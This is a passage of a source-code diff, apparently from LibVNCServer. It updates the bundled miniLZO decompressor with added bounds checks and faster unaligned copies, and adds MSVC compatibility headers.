@@ -3354,46 +5111,65 @@
op = out;
ip = in;
+ NEED_IP(1);
if (*ip > 17)
{
t = *ip++ - 17;
if (t < 4)
goto match_next;
- assert(t > 0); NEED_OP(t); NEED_IP(t+1);
+ assert(t > 0); NEED_OP(t); NEED_IP(t+3);
do *op++ = *ip++; while (--t > 0);
goto first_literal_run;
}
- while (TEST_IP && TEST_OP)
+ for (;;)
{
+ NEED_IP(3);
t = *ip++;
if (t >= 16)
goto match;
if (t == 0)
{
- NEED_IP(1);
while (*ip == 0)
{
t += 255;
ip++;
+ TEST_IV(t);
NEED_IP(1);
}
t += 15 + *ip++;
}
- assert(t > 0); NEED_OP(t+3); NEED_IP(t+4);
-#if defined(LZO_UNALIGNED_OK_4) || defined(LZO_ALIGNED_OK_4)
-#if !defined(LZO_UNALIGNED_OK_4)
+ assert(t > 0); NEED_OP(t+3); NEED_IP(t+6);
+#if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32)
+ t += 3;
+ if (t >= 8) do
+ {
+ UA_COPY8(op,ip);
+ op += 8; ip += 8; t -= 8;
+ } while (t >= 8);
+ if (t >= 4)
+ {
+ UA_COPY4(op,ip);
+ op += 4; ip += 4; t -= 4;
+ }
+ if (t > 0)
+ {
+ *op++ = *ip++;
+ if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } }
+ }
+#elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4)
+#if !(LZO_OPT_UNALIGNED32)
if (PTR_ALIGNED2_4(op,ip))
{
#endif
- COPY4(op,ip);
+ UA_COPY4(op,ip);
op += 4; ip += 4;
if (--t > 0)
{
if (t >= 4)
{
do {
- COPY4(op,ip);
+ UA_COPY4(op,ip);
op += 4; ip += 4; t -= 4;
} while (t >= 4);
if (t > 0) do *op++ = *ip++; while (--t > 0);
@@ -3401,12 +5177,12 @@
else
do *op++ = *ip++; while (--t > 0);
}
-#if !defined(LZO_UNALIGNED_OK_4)
+#if !(LZO_OPT_UNALIGNED32)
}
else
#endif
#endif
-#if !defined(LZO_UNALIGNED_OK_4)
+#if !(LZO_OPT_UNALIGNED32)
{
*op++ = *ip++; *op++ = *ip++; *op++ = *ip++;
do *op++ = *ip++; while (--t > 0);
@@ -3442,7 +5218,7 @@
#endif
goto match_done;
- do {
+ for (;;) {
match:
if (t >= 64)
{
@@ -3502,14 +5278,15 @@
t &= 31;
if (t == 0)
{
- NEED_IP(1);
while (*ip == 0)
{
t += 255;
ip++;
+ TEST_OV(t);
NEED_IP(1);
}
t += 31 + *ip++;
+ NEED_IP(2);
}
#if defined(COPY_DICT)
#if defined(LZO1Z)
@@ -3525,9 +5302,9 @@
m_pos = op - off;
last_m_off = off;
}
-#elif defined(LZO_UNALIGNED_OK_2) && defined(LZO_ABI_LITTLE_ENDIAN)
+#elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN)
m_pos = op - 1;
- m_pos -= (* (const lzo_ushortp) (const lzo_voidp) ip) >> 2;
+ m_pos -= UA_GET_LE16(ip) >> 2;
#else
m_pos = op - 1;
m_pos -= (ip[0] >> 2) + (ip[1] << 6);
@@ -3546,14 +5323,15 @@
t &= 7;
if (t == 0)
{
- NEED_IP(1);
while (*ip == 0)
{
t += 255;
ip++;
+ TEST_OV(t);
NEED_IP(1);
}
t += 7 + *ip++;
+ NEED_IP(2);
}
#if defined(COPY_DICT)
#if defined(LZO1Z)
@@ -3571,8 +5349,8 @@
#else
#if defined(LZO1Z)
m_pos -= (ip[0] << 6) + (ip[1] >> 2);
-#elif defined(LZO_UNALIGNED_OK_2) && defined(LZO_ABI_LITTLE_ENDIAN)
- m_pos -= (* (const lzo_ushortp) (const lzo_voidp) ip) >> 2;
+#elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN)
+ m_pos -= UA_GET_LE16(ip) >> 2;
#else
m_pos -= (ip[0] >> 2) + (ip[1] << 6);
#endif
@@ -3620,8 +5398,29 @@
#else
TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1);
-#if defined(LZO_UNALIGNED_OK_4) || defined(LZO_ALIGNED_OK_4)
-#if !defined(LZO_UNALIGNED_OK_4)
+#if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32)
+ if (op - m_pos >= 8)
+ {
+ t += (3 - 1);
+ if (t >= 8) do
+ {
+ UA_COPY8(op,m_pos);
+ op += 8; m_pos += 8; t -= 8;
+ } while (t >= 8);
+ if (t >= 4)
+ {
+ UA_COPY4(op,m_pos);
+ op += 4; m_pos += 4; t -= 4;
+ }
+ if (t > 0)
+ {
+ *op++ = m_pos[0];
+ if (t > 1) { *op++ = m_pos[1]; if (t > 2) { *op++ = m_pos[2]; } }
+ }
+ }
+ else
+#elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4)
+#if !(LZO_OPT_UNALIGNED32)
if (t >= 2 * 4 - (3 - 1) && PTR_ALIGNED2_4(op,m_pos))
{
assert((op - m_pos) >= 4);
@@ -3629,10 +5428,10 @@
if (t >= 2 * 4 - (3 - 1) && (op - m_pos) >= 4)
{
#endif
- COPY4(op,m_pos);
+ UA_COPY4(op,m_pos);
op += 4; m_pos += 4; t -= 4 - (3 - 1);
do {
- COPY4(op,m_pos);
+ UA_COPY4(op,m_pos);
op += 4; m_pos += 4; t -= 4;
} while (t >= 4);
if (t > 0) do *op++ = *m_pos++; while (--t > 0);
@@ -3657,7 +5456,7 @@
break;
match_next:
- assert(t > 0); assert(t < 4); NEED_OP(t); NEED_IP(t+1);
+ assert(t > 0); assert(t < 4); NEED_OP(t); NEED_IP(t+3);
#if 0
do *op++ = *ip++; while (--t > 0);
#else
@@ -3665,16 +5464,10 @@
if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } }
#endif
t = *ip++;
- } while (TEST_IP && TEST_OP);
+ }
}
-#if defined(HAVE_TEST_IP) || defined(HAVE_TEST_OP)
- *out_len = pd(op, out);
- return LZO_E_EOF_NOT_FOUND;
-#endif
-
eof_found:
- assert(t == 1);
*out_len = pd(op, out);
return (ip == ip_end ? LZO_E_OK :
(ip < ip_end ? LZO_E_INPUT_NOT_CONSUMED : LZO_E_INPUT_OVERRUN));
@@ -3720,10 +5513,13 @@
#undef TEST_IP
#undef TEST_OP
+#undef TEST_IP_AND_TEST_OP
#undef TEST_LB
#undef TEST_LBO
#undef NEED_IP
#undef NEED_OP
+#undef TEST_IV
+#undef TEST_OV
#undef HAVE_TEST_IP
#undef HAVE_TEST_OP
#undef HAVE_NEED_IP
@@ -3738,6 +5534,7 @@
# if (LZO_TEST_OVERRUN_INPUT >= 2)
# define NEED_IP(x) \
if ((lzo_uint)(ip_end - ip) < (lzo_uint)(x)) goto input_overrun
+# define TEST_IV(x) if ((x) > (lzo_uint)0 - (511)) goto input_overrun
# endif
#endif
@@ -3749,12 +5546,13 @@
# undef TEST_OP
# define NEED_OP(x) \
if ((lzo_uint)(op_end - op) < (lzo_uint)(x)) goto output_overrun
+# define TEST_OV(x) if ((x) > (lzo_uint)0 - (511)) goto output_overrun
# endif
#endif
#if defined(LZO_TEST_OVERRUN_LOOKBEHIND)
-# define TEST_LB(m_pos) if (m_pos < out || m_pos >= op) goto lookbehind_overrun
-# define TEST_LBO(m_pos,o) if (m_pos < out || m_pos >= op - (o)) goto lookbehind_overrun
+# define TEST_LB(m_pos) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op)) goto lookbehind_overrun
+# define TEST_LBO(m_pos,o) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op-(o))) goto lookbehind_overrun
#else
# define TEST_LB(m_pos) ((void) 0)
# define TEST_LBO(m_pos,o) ((void) 0)
@@ -3775,15 +5573,27 @@
# define TEST_OP 1
#endif
+#if defined(HAVE_TEST_IP) && defined(HAVE_TEST_OP)
+# define TEST_IP_AND_TEST_OP (TEST_IP && TEST_OP)
+#elif defined(HAVE_TEST_IP)
+# define TEST_IP_AND_TEST_OP TEST_IP
+#elif defined(HAVE_TEST_OP)
+# define TEST_IP_AND_TEST_OP TEST_OP
+#else
+# define TEST_IP_AND_TEST_OP 1
+#endif
+
#if defined(NEED_IP)
# define HAVE_NEED_IP 1
#else
# define NEED_IP(x) ((void) 0)
+# define TEST_IV(x) ((void) 0)
#endif
#if defined(NEED_OP)
# define HAVE_NEED_OP 1
#else
# define NEED_OP(x) ((void) 0)
+# define TEST_OV(x) ((void) 0)
#endif
#if defined(HAVE_TEST_IP) || defined(HAVE_NEED_IP)
@@ -3800,14 +5610,14 @@
lzo_voidp wrkmem )
#endif
{
- register lzo_bytep op;
- register const lzo_bytep ip;
- register lzo_uint t;
+ lzo_bytep op;
+ const lzo_bytep ip;
+ lzo_uint t;
#if defined(COPY_DICT)
lzo_uint m_off;
const lzo_bytep dict_end;
#else
- register const lzo_bytep m_pos;
+ const lzo_bytep m_pos;
#endif
const lzo_bytep const ip_end = in + in_len;
@@ -3842,46 +5652,65 @@
op = out;
ip = in;
+ NEED_IP(1);
if (*ip > 17)
{
t = *ip++ - 17;
if (t < 4)
goto match_next;
- assert(t > 0); NEED_OP(t); NEED_IP(t+1);
+ assert(t > 0); NEED_OP(t); NEED_IP(t+3);
do *op++ = *ip++; while (--t > 0);
goto first_literal_run;
}
- while (TEST_IP && TEST_OP)
+ for (;;)
{
+ NEED_IP(3);
t = *ip++;
if (t >= 16)
goto match;
if (t == 0)
{
- NEED_IP(1);
while (*ip == 0)
{
t += 255;
ip++;
+ TEST_IV(t);
NEED_IP(1);
}
t += 15 + *ip++;
}
- assert(t > 0); NEED_OP(t+3); NEED_IP(t+4);
-#if defined(LZO_UNALIGNED_OK_4) || defined(LZO_ALIGNED_OK_4)
-#if !defined(LZO_UNALIGNED_OK_4)
+ assert(t > 0); NEED_OP(t+3); NEED_IP(t+6);
+#if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32)
+ t += 3;
+ if (t >= 8) do
+ {
+ UA_COPY8(op,ip);
+ op += 8; ip += 8; t -= 8;
+ } while (t >= 8);
+ if (t >= 4)
+ {
+ UA_COPY4(op,ip);
+ op += 4; ip += 4; t -= 4;
+ }
+ if (t > 0)
+ {
+ *op++ = *ip++;
+ if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } }
+ }
+#elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4)
+#if !(LZO_OPT_UNALIGNED32)
if (PTR_ALIGNED2_4(op,ip))
{
#endif
- COPY4(op,ip);
+ UA_COPY4(op,ip);
op += 4; ip += 4;
if (--t > 0)
{
if (t >= 4)
{
do {
- COPY4(op,ip);
+ UA_COPY4(op,ip);
op += 4; ip += 4; t -= 4;
} while (t >= 4);
if (t > 0) do *op++ = *ip++; while (--t > 0);
@@ -3889,12 +5718,12 @@
else
do *op++ = *ip++; while (--t > 0);
}
-#if !defined(LZO_UNALIGNED_OK_4)
+#if !(LZO_OPT_UNALIGNED32)
}
else
#endif
#endif
-#if !defined(LZO_UNALIGNED_OK_4)
+#if !(LZO_OPT_UNALIGNED32)
{
*op++ = *ip++; *op++ = *ip++; *op++ = *ip++;
do *op++ = *ip++; while (--t > 0);
@@ -3930,7 +5759,7 @@
#endif
goto match_done;
- do {
+ for (;;) {
match:
if (t >= 64)
{
@@ -3990,14 +5819,15 @@
t &= 31;
if (t == 0)
{
- NEED_IP(1);
while (*ip == 0)
{
t += 255;
ip++;
+ TEST_OV(t);
NEED_IP(1);
}
t += 31 + *ip++;
+ NEED_IP(2);
}
#if defined(COPY_DICT)
#if defined(LZO1Z)
@@ -4013,9 +5843,9 @@
m_pos = op - off;
last_m_off = off;
}
-#elif defined(LZO_UNALIGNED_OK_2) && defined(LZO_ABI_LITTLE_ENDIAN)
+#elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN)
m_pos = op - 1;
- m_pos -= (* (const lzo_ushortp) (const lzo_voidp) ip) >> 2;
+ m_pos -= UA_GET_LE16(ip) >> 2;
#else
m_pos = op - 1;
m_pos -= (ip[0] >> 2) + (ip[1] << 6);
@@ -4034,14 +5864,15 @@
t &= 7;
if (t == 0)
{
- NEED_IP(1);
while (*ip == 0)
{
t += 255;
ip++;
+ TEST_OV(t);
NEED_IP(1);
}
t += 7 + *ip++;
+ NEED_IP(2);
}
#if defined(COPY_DICT)
#if defined(LZO1Z)
@@ -4059,8 +5890,8 @@
#else
#if defined(LZO1Z)
m_pos -= (ip[0] << 6) + (ip[1] >> 2);
-#elif defined(LZO_UNALIGNED_OK_2) && defined(LZO_ABI_LITTLE_ENDIAN)
- m_pos -= (* (const lzo_ushortp) (const lzo_voidp) ip) >> 2;
+#elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN)
+ m_pos -= UA_GET_LE16(ip) >> 2;
#else
m_pos -= (ip[0] >> 2) + (ip[1] << 6);
#endif
@@ -4108,8 +5939,29 @@
#else
TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1);
-#if defined(LZO_UNALIGNED_OK_4) || defined(LZO_ALIGNED_OK_4)
-#if !defined(LZO_UNALIGNED_OK_4)
+#if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32)
+ if (op - m_pos >= 8)
+ {
+ t += (3 - 1);
+ if (t >= 8) do
+ {
+ UA_COPY8(op,m_pos);
+ op += 8; m_pos += 8; t -= 8;
+ } while (t >= 8);
+ if (t >= 4)
+ {
+ UA_COPY4(op,m_pos);
+ op += 4; m_pos += 4; t -= 4;
+ }
+ if (t > 0)
+ {
+ *op++ = m_pos[0];
+ if (t > 1) { *op++ = m_pos[1]; if (t > 2) { *op++ = m_pos[2]; } }
+ }
+ }
+ else
+#elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4)
+#if !(LZO_OPT_UNALIGNED32)
if (t >= 2 * 4 - (3 - 1) && PTR_ALIGNED2_4(op,m_pos))
{
assert((op - m_pos) >= 4);
@@ -4117,10 +5969,10 @@
if (t >= 2 * 4 - (3 - 1) && (op - m_pos) >= 4)
{
#endif
- COPY4(op,m_pos);
+ UA_COPY4(op,m_pos);
op += 4; m_pos += 4; t -= 4 - (3 - 1);
do {
- COPY4(op,m_pos);
+ UA_COPY4(op,m_pos);
op += 4; m_pos += 4; t -= 4;
} while (t >= 4);
if (t > 0) do *op++ = *m_pos++; while (--t > 0);
@@ -4145,7 +5997,7 @@
break;
match_next:
- assert(t > 0); assert(t < 4); NEED_OP(t); NEED_IP(t+1);
+ assert(t > 0); assert(t < 4); NEED_OP(t); NEED_IP(t+3);
#if 0
do *op++ = *ip++; while (--t > 0);
#else
@@ -4153,16 +6005,10 @@
if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } }
#endif
t = *ip++;
- } while (TEST_IP && TEST_OP);
+ }
}
-#if defined(HAVE_TEST_IP) || defined(HAVE_TEST_OP)
- *out_len = pd(op, out);
- return LZO_E_EOF_NOT_FOUND;
-#endif
-
eof_found:
- assert(t == 1);
*out_len = pd(op, out);
return (ip == ip_end ? LZO_E_OK :
(ip < ip_end ? LZO_E_INPUT_NOT_CONSUMED : LZO_E_INPUT_OVERRUN));
@@ -4189,4 +6035,3 @@
#endif
/***** End of minilzo.c *****/
-
diff --git a/common/minilzo.h b/common/minilzo.h
index bd8ad65..fd2fb32 100644
--- a/common/minilzo.h
+++ b/common/minilzo.h
@@ -2,21 +2,7 @@
This file is part of the LZO real-time data compression library.
- Copyright (C) 2010 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2009 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2008 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2007 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2006 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2005 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2004 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2003 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2002 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2001 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 2000 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1999 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1998 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1997 Markus Franz Xaver Johannes Oberhumer
- Copyright (C) 1996 Markus Franz Xaver Johannes Oberhumer
+ Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer
All Rights Reserved.
The LZO library is free software; you can redistribute it and/or
@@ -49,7 +35,7 @@
#ifndef __MINILZO_H
#define __MINILZO_H 1
-#define MINILZO_VERSION 0x2040
+#define MINILZO_VERSION 0x2070
#ifdef __LZOCONF_H
# error "you cannot use both LZO and miniLZO"
@@ -77,7 +63,7 @@
*/
#define LZO1X_MEM_COMPRESS LZO1X_1_MEM_COMPRESS
-#define LZO1X_1_MEM_COMPRESS ((lzo_uint32) (16384L * lzo_sizeof_dict_t))
+#define LZO1X_1_MEM_COMPRESS ((lzo_uint32_t) (16384L * lzo_sizeof_dict_t))
#define LZO1X_MEM_DECOMPRESS (0)
diff --git a/common/turbojpeg.c b/common/turbojpeg.c
index f7b9245..09df173 100644
--- a/common/turbojpeg.c
+++ b/common/turbojpeg.c
@@ -502,9 +502,11 @@
if(width<1 || height<1 || jpegSubsamp<0 || jpegSubsamp>=NUMSUBOPT)
_throw("tjBufSize(): Invalid argument");
- // This allows for rare corner cases in which a JPEG image can actually be
- // larger than the uncompressed input (we wouldn't mention it if it hadn't
- // happened before.)
+ /*
+ * This allows for rare corner cases in which a JPEG image can actually be
+ * larger than the uncompressed input (we wouldn't mention it if it hadn't
+ * happened before.)
+ */
mcuw=tjMCUWidth[jpegSubsamp];
mcuh=tjMCUHeight[jpegSubsamp];
chromasf=jpegSubsamp==TJSAMP_GRAY? 0: 4*64/(mcuw*mcuh);
@@ -521,9 +523,11 @@
if(width<1 || height<1)
_throw("TJBUFSIZE(): Invalid argument");
- // This allows for rare corner cases in which a JPEG image can actually be
- // larger than the uncompressed input (we wouldn't mention it if it hadn't
- // happened before.)
+ /*
+ * This allows for rare corner cases in which a JPEG image can actually be
+ * larger than the uncompressed input (we wouldn't mention it if it hadn't
+ * happened before.)
+ */
retval=PAD(width, 16) * PAD(height, 16) * 6 + 2048;
bailout:
diff --git a/common/vncauth.c b/common/vncauth.c
index 82c1b68..0b20f53 100644
--- a/common/vncauth.c
+++ b/common/vncauth.c
@@ -24,6 +24,7 @@
#ifdef __STRICT_ANSI__
#define _BSD_SOURCE
#define _POSIX_SOURCE
+#define _XOPEN_SOURCE 600
#endif
#ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H
#include <sys/types.h>
diff --git a/compat/msvc/stdint.h b/compat/msvc/stdint.h
new file mode 100644
index 0000000..e236bb0
--- /dev/null
+++ b/compat/msvc/stdint.h
@@ -0,0 +1,247 @@
+// ISO C9x compliant stdint.h for Microsoft Visual Studio
+// Based on ISO/IEC 9899:TC2 Committee draft (May 6, 2005) WG14/N1124
+//
+// Copyright (c) 2006-2008 Alexander Chemeris
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice,
+// this list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright
+// notice, this list of conditions and the following disclaimer in the
+// documentation and/or other materials provided with the distribution.
+//
+// 3. The name of the author may be used to endorse or promote products
+// derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED
+// WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
+// EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+// OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+///////////////////////////////////////////////////////////////////////////////
+
+#ifndef _MSC_VER // [
+#error "Use this header only with Microsoft Visual C++ compilers!"
+#endif // _MSC_VER ]
+
+#ifndef _MSC_STDINT_H_ // [
+#define _MSC_STDINT_H_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif
+
+#include <limits.h>
+
+// For Visual Studio 6 in C++ mode and for many Visual Studio versions when
+// compiling for ARM we should wrap <wchar.h> include with 'extern "C++" {}'
+// or compiler give many errors like this:
+// error C2733: second C linkage of overloaded function 'wmemchr' not allowed
+#ifdef __cplusplus
+extern "C" {
+#endif
+# include <wchar.h>
+#ifdef __cplusplus
+}
+#endif
+
+// Define _W64 macros to mark types changing their size, like intptr_t.
+#ifndef _W64
+# if !defined(__midl) && (defined(_X86_) || defined(_M_IX86)) && _MSC_VER >= 1300
+# define _W64 __w64
+# else
+# define _W64
+# endif
+#endif
+
+
+// 7.18.1 Integer types
+
+// 7.18.1.1 Exact-width integer types
+
+// Visual Studio 6 and Embedded Visual C++ 4 doesn't
+// realize that, e.g. char has the same size as __int8
+// so we give up on __intX for them.
+#if (_MSC_VER < 1300)
+ typedef char int8_t;
+ typedef short int16_t;
+ typedef int int32_t;
+ typedef unsigned char uint8_t;
+ typedef unsigned short uint16_t;
+ typedef unsigned int uint32_t;
+#else
+ typedef __int8 int8_t;
+ typedef __int16 int16_t;
+ typedef __int32 int32_t;
+ typedef unsigned __int8 uint8_t;
+ typedef unsigned __int16 uint16_t;
+ typedef unsigned __int32 uint32_t;
+#endif
+typedef __int64 int64_t;
+typedef unsigned __int64 uint64_t;
+
+
+// 7.18.1.2 Minimum-width integer types
+typedef int8_t int_least8_t;
+typedef int16_t int_least16_t;
+typedef int32_t int_least32_t;
+typedef int64_t int_least64_t;
+typedef uint8_t uint_least8_t;
+typedef uint16_t uint_least16_t;
+typedef uint32_t uint_least32_t;
+typedef uint64_t uint_least64_t;
+
+// 7.18.1.3 Fastest minimum-width integer types
+typedef int8_t int_fast8_t;
+typedef int16_t int_fast16_t;
+typedef int32_t int_fast32_t;
+typedef int64_t int_fast64_t;
+typedef uint8_t uint_fast8_t;
+typedef uint16_t uint_fast16_t;
+typedef uint32_t uint_fast32_t;
+typedef uint64_t uint_fast64_t;
+
+// 7.18.1.4 Integer types capable of holding object pointers
+#ifdef _WIN64 // [
+ typedef __int64 intptr_t;
+ typedef unsigned __int64 uintptr_t;
+#else // _WIN64 ][
+ typedef _W64 int intptr_t;
+ typedef _W64 unsigned int uintptr_t;
+#endif // _WIN64 ]
+
+// 7.18.1.5 Greatest-width integer types
+typedef int64_t intmax_t;
+typedef uint64_t uintmax_t;
+
+
+// 7.18.2 Limits of specified-width integer types
+
+#if !defined(__cplusplus) || defined(__STDC_LIMIT_MACROS) // [ See footnote 220 at page 257 and footnote 221 at page 259
+
+// 7.18.2.1 Limits of exact-width integer types
+#define INT8_MIN ((int8_t)_I8_MIN)
+#define INT8_MAX _I8_MAX
+#define INT16_MIN ((int16_t)_I16_MIN)
+#define INT16_MAX _I16_MAX
+#define INT32_MIN ((int32_t)_I32_MIN)
+#define INT32_MAX _I32_MAX
+#define INT64_MIN ((int64_t)_I64_MIN)
+#define INT64_MAX _I64_MAX
+#define UINT8_MAX _UI8_MAX
+#define UINT16_MAX _UI16_MAX
+#define UINT32_MAX _UI32_MAX
+#define UINT64_MAX _UI64_MAX
+
+// 7.18.2.2 Limits of minimum-width integer types
+#define INT_LEAST8_MIN INT8_MIN
+#define INT_LEAST8_MAX INT8_MAX
+#define INT_LEAST16_MIN INT16_MIN
+#define INT_LEAST16_MAX INT16_MAX
+#define INT_LEAST32_MIN INT32_MIN
+#define INT_LEAST32_MAX INT32_MAX
+#define INT_LEAST64_MIN INT64_MIN
+#define INT_LEAST64_MAX INT64_MAX
+#define UINT_LEAST8_MAX UINT8_MAX
+#define UINT_LEAST16_MAX UINT16_MAX
+#define UINT_LEAST32_MAX UINT32_MAX
+#define UINT_LEAST64_MAX UINT64_MAX
+
+// 7.18.2.3 Limits of fastest minimum-width integer types
+#define INT_FAST8_MIN INT8_MIN
+#define INT_FAST8_MAX INT8_MAX
+#define INT_FAST16_MIN INT16_MIN
+#define INT_FAST16_MAX INT16_MAX
+#define INT_FAST32_MIN INT32_MIN
+#define INT_FAST32_MAX INT32_MAX
+#define INT_FAST64_MIN INT64_MIN
+#define INT_FAST64_MAX INT64_MAX
+#define UINT_FAST8_MAX UINT8_MAX
+#define UINT_FAST16_MAX UINT16_MAX
+#define UINT_FAST32_MAX UINT32_MAX
+#define UINT_FAST64_MAX UINT64_MAX
+
+// 7.18.2.4 Limits of integer types capable of holding object pointers
+#ifdef _WIN64 // [
+# define INTPTR_MIN INT64_MIN
+# define INTPTR_MAX INT64_MAX
+# define UINTPTR_MAX UINT64_MAX
+#else // _WIN64 ][
+# define INTPTR_MIN INT32_MIN
+# define INTPTR_MAX INT32_MAX
+# define UINTPTR_MAX UINT32_MAX
+#endif // _WIN64 ]
+
+// 7.18.2.5 Limits of greatest-width integer types
+#define INTMAX_MIN INT64_MIN
+#define INTMAX_MAX INT64_MAX
+#define UINTMAX_MAX UINT64_MAX
+
+// 7.18.3 Limits of other integer types
+
+#ifdef _WIN64 // [
+# define PTRDIFF_MIN _I64_MIN
+# define PTRDIFF_MAX _I64_MAX
+#else // _WIN64 ][
+# define PTRDIFF_MIN _I32_MIN
+# define PTRDIFF_MAX _I32_MAX
+#endif // _WIN64 ]
+
+#define SIG_ATOMIC_MIN INT_MIN
+#define SIG_ATOMIC_MAX INT_MAX
+
+#ifndef SIZE_MAX // [
+# ifdef _WIN64 // [
+# define SIZE_MAX _UI64_MAX
+# else // _WIN64 ][
+# define SIZE_MAX _UI32_MAX
+# endif // _WIN64 ]
+#endif // SIZE_MAX ]
+
+// WCHAR_MIN and WCHAR_MAX are also defined in <wchar.h>
+#ifndef WCHAR_MIN // [
+# define WCHAR_MIN 0
+#endif // WCHAR_MIN ]
+#ifndef WCHAR_MAX // [
+# define WCHAR_MAX _UI16_MAX
+#endif // WCHAR_MAX ]
+
+#define WINT_MIN 0
+#define WINT_MAX _UI16_MAX
+
+#endif // __STDC_LIMIT_MACROS ]
+
+
+// 7.18.4 Limits of other integer types
+
+#if !defined(__cplusplus) || defined(__STDC_CONSTANT_MACROS) // [ See footnote 224 at page 260
+
+// 7.18.4.1 Macros for minimum-width integer constants
+
+#define INT8_C(val) val##i8
+#define INT16_C(val) val##i16
+#define INT32_C(val) val##i32
+#define INT64_C(val) val##i64
+
+#define UINT8_C(val) val##ui8
+#define UINT16_C(val) val##ui16
+#define UINT32_C(val) val##ui32
+#define UINT64_C(val) val##ui64
+
+// 7.18.4.2 Macros for greatest-width integer constants
+#define INTMAX_C INT64_C
+#define UINTMAX_C UINT64_C
+
+#endif // __STDC_CONSTANT_MACROS ]
+
+
+#endif // _MSC_STDINT_H_ ]
diff --git a/compat/msvc/sys/time.h b/compat/msvc/sys/time.h
new file mode 100644
index 0000000..0c47060
--- /dev/null
+++ b/compat/msvc/sys/time.h
@@ -0,0 +1,64 @@
+#pragma once
+
+//http://social.msdn.microsoft.com/Forums/en/vcgeneral/thread/430449b3-f6dd-4e18-84de-eebd26a8d668
+
+#include <time.h>
+#include <winsock2.h>
+
+#if defined(_MSC_VER) || defined(_MSC_EXTENSIONS)
+ #define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64
+#else
+ #define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL
+#endif
+
+struct timespec {
+
+time_t tv_sec; /* Seconds since 00:00:00 GMT, */
+
+/* 1 January 1970 */
+
+long tv_nsec; /* Additional nanoseconds since */
+
+/* tv_sec */
+
+};
+
+struct timezone
+{
+ int tz_minuteswest; /* minutes W of Greenwich */
+ int tz_dsttime; /* type of dst correction */
+};
+
+static __inline int gettimeofday(struct timeval *tv, struct timezone *tz)
+{
+ FILETIME ft;
+ unsigned __int64 tmpres = 0;
+ static int tzflag;
+
+ if (NULL != tv)
+ {
+ GetSystemTimeAsFileTime(&ft);
+
+ tmpres |= ft.dwHighDateTime;
+ tmpres <<= 32;
+ tmpres |= ft.dwLowDateTime;
+
+ /*converting file time to unix epoch*/
+ tmpres -= DELTA_EPOCH_IN_MICROSECS;
+ tv->tv_sec = (long)(tmpres / 1000000UL);
+ tv->tv_usec = (long)(tmpres % 1000000UL);
+ }
+
+ if (NULL != tz)
+ {
+ if (!tzflag)
+ {
+ _tzset();
+ tzflag++;
+ }
+ tz->tz_minuteswest = _timezone / 60;
+ tz->tz_dsttime = _daylight;
+ }
+
+ return 0;
+}
\ No newline at end of file
diff --git a/compat/msvc/unistd.h b/compat/msvc/unistd.h
new file mode 100644
index 0000000..a91b423
--- /dev/null
+++ b/compat/msvc/unistd.h
@@ -0,0 +1,3 @@
+#pragma once
+
+#include <process.h>
diff --git a/compile b/compile
deleted file mode 100755
index 862a14e..0000000
--- a/compile
+++ /dev/null
@@ -1,343 +0,0 @@
-#! /bin/sh
-# Wrapper for compilers which do not understand '-c -o'.
-
-scriptversion=2012-03-05.13; # UTC
-
